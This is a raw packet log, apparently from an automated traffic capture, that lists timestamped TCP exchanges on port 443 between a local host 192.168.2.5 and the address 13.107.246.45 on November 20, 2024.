Nov 20, 2024 01:18:56.742410898 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:56.743069887 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:56.743083000 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:56.743257999 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:56.743278980 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.072988033 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.091465950 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.091496944 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.092087984 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.092093945 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.191828012 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.191855907 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.191905975 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.191924095 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.192137003 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.192193985 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.192331076 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.192331076 CET	49977	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.192341089 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.192348957 CET	443	49977	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.200711012 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.200747013 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.201023102 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.201149940 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.201157093 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.379184008 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.380280018 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.380300045 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.380733013 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.380738020 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.406817913 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.407404900 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.407471895 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.407888889 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.407896996 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.415388107 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.417248011 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.417273998 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.417685986 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.417690039 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.419131041 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.419579983 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.419625998 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.419981003 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.419996977 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.478723049 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.478914022 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.478960037 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.478960037 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.479005098 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.479356050 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.479363918 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.479401112 CET	49982	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.479406118 CET	443	49982	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.482747078 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.482769012 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.483017921 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.483194113 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.483207941 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.506676912 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.507039070 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.507102013 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.507252932 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.507288933 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.507328033 CET	49983	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.507340908 CET	443	49983	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.510636091 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.510668039 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.510911942 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.511132956 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.511148930 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.521823883 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.521841049 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.521918058 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.521939039 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.522016048 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.522145033 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.522165060 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.522167921 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.522167921 CET	49980	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.522178888 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.522188902 CET	443	49980	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.523092985 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.523169041 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.523287058 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.523355961 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.523964882 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.523996115 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.524014950 CET	49981	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.524027109 CET	443	49981	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.526169062 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.526186943 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.526282072 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.526396036 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.526408911 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.528167009 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.528177977 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.528534889 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.528894901 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.528909922 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.847965956 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.854232073 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.854250908 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.854757071 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.854763031 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.953057051 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.953438044 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.953506947 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.956635952 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.956654072 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.956664085 CET	49986	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.956671000 CET	443	49986	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.959707975 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.959753990 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:57.959835052 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.964946985 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:57.964963913 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.207542896 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.209516048 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.209527969 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.211963892 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.219753027 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.219768047 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.220282078 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.220285892 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.220688105 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.220717907 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.221107960 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.221116066 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.221282959 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.221297026 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.221625090 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.221630096 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.223304033 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.223320007 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.223725080 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.223728895 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.315788031 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.316190958 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.316236019 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.316644907 CET	49991	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.316660881 CET	443	49991	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.317754030 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.317981005 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.318042994 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.318072081 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.318094015 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.318140984 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.318474054 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.318876982 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.318989992 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.319046021 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.319206953 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.319216967 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.319242954 CET	49990	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.319247961 CET	443	49990	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.320950031 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.320954084 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.320965052 CET	49988	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.320967913 CET	443	49988	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.322928905 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.323327065 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.323335886 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.323354959 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.323405027 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.323426008 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.324179888 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.324179888 CET	49989	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.324188948 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.324198961 CET	443	49989	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.325097084 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.325109959 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.326497078 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.326523066 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.326625109 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.327280998 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.327291965 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.327338934 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.327541113 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.327553988 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.327869892 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.327883959 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.328860998 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.328872919 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.329042912 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.329161882 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.329174995 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.606841087 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.646475077 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.646497965 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.647676945 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.647684097 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.743588924 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.743634939 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.743738890 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.743809938 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.756073952 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.756098986 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.756112099 CET	49992	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.756123066 CET	443	49992	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.779647112 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.779690027 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.780069113 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.780945063 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:58.780965090 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.961307049 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.963259935 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.984015942 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:58.995156050 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.035690069 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.133876085 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.133876085 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.203334093 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.205149889 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.239851952 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.239869118 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.239870071 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.239882946 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.240772963 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.240777969 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.240895987 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.240904093 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.241410971 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.241416931 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.241688967 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.241703987 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.242227077 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.242232084 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.242460966 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.242469072 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.335805893 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.335877895 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.335993052 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.336095095 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.336095095 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.342056036 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.342163086 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.342211962 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.344930887 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.345199108 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.345305920 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.349378109 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.349378109 CET	50006	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.349406004 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.349417925 CET	443	50006	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.350857019 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.350874901 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.350886106 CET	50007	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.350893021 CET	443	50007	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.353198051 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.353198051 CET	50004	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.353205919 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.353215933 CET	443	50004	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.358848095 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.358876944 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.359091997 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.361036062 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.361068964 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.361191034 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.363279104 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.363291979 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.363565922 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.363584042 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.365514040 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.365521908 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.365583897 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.365914106 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.365925074 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.444684982 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.445655107 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.445664883 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.446180105 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.446187973 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.547550917 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.548161983 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.548263073 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.548429012 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.548444986 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.548458099 CET	50010	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.548465014 CET	443	50010	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.552638054 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.552681923 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.552889109 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.553025961 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.553045988 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.558120966 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.558465004 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.558850050 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.559366941 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.559385061 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.559391022 CET	50005	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.559396029 CET	443	50005	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.562206984 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.562233925 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.562402010 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.562582016 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.562597036 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.997303963 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.997957945 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.997982979 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:59.998408079 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:59.998414040 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.002028942 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.002376080 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.002382994 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.003068924 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.003072023 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.032212973 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.033020020 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.033030987 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.033876896 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.033880949 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102199078 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102413893 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102554083 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.102746010 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102823973 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102869987 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.102869034 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.102906942 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.103009939 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.103028059 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.103050947 CET	50014	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.103058100 CET	443	50014	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.105318069 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.105333090 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.105340004 CET	50015	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.105345964 CET	443	50015	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.109558105 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.109667063 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.109797001 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.111195087 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.111226082 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.111321926 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.111453056 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.111481905 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.111555099 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.111569881 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.136020899 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.136172056 CET	443	50013	13.107.246.45	192.168.2.5
